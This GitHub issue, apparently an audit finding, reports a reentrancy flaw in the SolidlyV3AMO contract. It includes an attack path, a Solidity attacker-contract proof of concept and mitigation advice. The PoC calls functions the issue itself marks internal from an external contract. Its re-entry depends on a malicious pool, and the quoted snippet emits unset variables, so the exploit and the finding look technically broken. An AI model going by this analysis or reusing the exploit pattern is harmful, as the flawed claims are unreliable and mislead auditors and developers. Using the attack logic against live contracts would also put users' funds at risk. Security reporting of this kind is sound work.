Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Reentrancy Vulnerability in Liquidity Management Functions Enables Unauthorized State Manipulation #8

Open
CipherHawk0 opened this issue Oct 14, 2024 · 0 comments

Comments

@CipherHawk0
Copy link

Summary

The absence of reentrancy guards in liquidity management functions will cause a critical security breach for the protocol's liquidity pools as an attacker can exploit external calls to re-enter and manipulate contract state, leading to unauthorized token minting and liquidity manipulation.

Root Cause

In SolidlyV3AMO.sol, the internal functions _mintAndSellBoost, _addLiquidity, and _unfarmBuyBurn perform external calls to the pool contract without implementing reentrancy protection mechanisms such as the nonReentrant modifier from OpenZeppelin's ReentrancyGuard.

Relevant Code Snippet:

function _mintAndSellBoost(
    uint256 boostAmount,
    uint256 minUsdAmountOut,
    uint256 deadline
) internal override returns (uint256 boostAmountIn, uint256 usdAmountOut) {
    // External call to mint
    IMinter(boostMinter).protocolMint(address(this), boostAmount);
    // External call to approve and swap
    IERC20Upgradeable(boost).approve(pool, boostAmount);
    ISolidlyV3Pool(pool).swap(
        address(this),
        boost < usd,
        int256(boostAmount), // Amount of BOOST tokens being swapped
        targetSqrtPriceX96, // The target square root price
        minUsdAmountOut, // Minimum acceptable amount of USD to receive from the swap
        deadline
    );
    // State updates
    emit MintSell(boostAmountIn, usdAmountOut);
}

Internal pre-conditions

1-An account with the necessary privileges triggers a liquidity management function like _mintAndSellBoost.
2-The pool contract allows execution of fallback functions that can call back into the SolidlyV3AMO contract.
3-The pool contract is malicious or compromised to execute a reentrant call.

External pre-conditions

1-The pool contract's swap and mint functions can trigger external calls back into the SolidlyV3AMO contract.
2-External contracts (pool) are trusted but may become compromised or malicious.

Attack Path

1-The attacker deploys a malicious contract that interacts with the SolidlyV3AMO contract.
2-The attacker calls a function that triggers an external call to the pool contract, such as _mintAndSellBoost.
3-During the execution of the external call (swap), the pool contract calls back into the SolidlyV3AMO contract via a fallback or callback function.
4-The attacker’s contract re-enters the SolidlyV3AMO contract’s liquidity function, allowing manipulation of state variables before the original function completes.
5-The attacker can mint unauthorized BOOST tokens or manipulate liquidity pool balances, causing financial loss and destabilizing the protocol.

Impact

The protocol suffers a critical security breach where an attacker can manipulate the contract’s state, leading to unauthorized minting of BOOST tokens, draining of liquidity pools, and overall destabilization of the BOOST peg. This results in significant financial losses and loss of user trust.

PoC

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

import "./SolidlyV3AMO.sol";

contract AttackerContract {
    SolidlyV3AMO amo;
    bool public attackInitiated = false;

    constructor(address amoAddress) {
        amo = SolidlyV3AMO(amoAddress);
    }

    // Fallback function to re-enter the AMO contract
    fallback() external {
        if (!attackInitiated) {
            attackInitiated = true;
            // Re-enter the _addLiquidity function with malicious parameters
            amo._addLiquidity(
                1e18,   // usdAmount
                0,      // minBoostSpend
                0,      // minUsdSpend
                block.timestamp + 100
            );
        }
    }

    function attack() external {
        // Initiate the attack by calling _mintAndSellBoost
        amo._mintAndSellBoost(
            1e18,               // boostAmount
            1e16,               // minUsdAmountOut
            block.timestamp + 100 // deadline
        );
    }
}

Mitigation

1-Implement Reentrancy Guards:
Integrate OpenZeppelin's ReentrancyGuard into the SolidlyV3AMO contract and apply the nonReentrant modifier to all functions that perform external calls.

import "@openzeppelin/contracts/security/ReentrancyGuard.sol";

contract SolidlyV3AMO is ISolidlyV3AMO, MasterAMO, ReentrancyGuard {
    // ... existing code ...

    function _mintAndSellBoost(
        uint256 boostAmount,
        uint256 minUsdAmountOut,
        uint256 deadline
    ) internal override nonReentrant returns (uint256 boostAmountIn, uint256 usdAmountOut) {
        // Function logic
    }

    function _addLiquidity(
        uint256 usdAmount,
        uint256 minBoostSpend,
        uint256 minUsdSpend,
        uint256 deadline
    ) internal override nonReentrant returns (uint256 boostSpent, uint256 usdSpent, uint256 liquidity) {
        // Function logic
    }

    function _unfarmBuyBurn(
        uint256 liquidity,
        uint256 minBoostRemove,
        uint256 minUsdRemove,
        uint256 minBoostAmountOut,
        uint256 deadline
    )
        internal
        override
        nonReentrant
        returns (uint256 boostRemoved, uint256 usdRemoved, uint256 usdAmountIn, uint256 boostAmountOut)
    {
        // Function logic
    }
}

2-Adopt Checks-Effects-Interactions Pattern:
Ensure that all state changes are made before performing external calls to prevent reentrancy.
3-Limit External Call Scope:
Minimize the number of external calls within critical functions to reduce attack surfaces.
4-Use Function Modifiers for Critical Functions:
Apply additional security measures such as onlyOwner or specific role checks where necessary.
5-Regular Security Audits:
Conduct thorough security audits and penetration testing to identify and remediate vulnerabilities.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant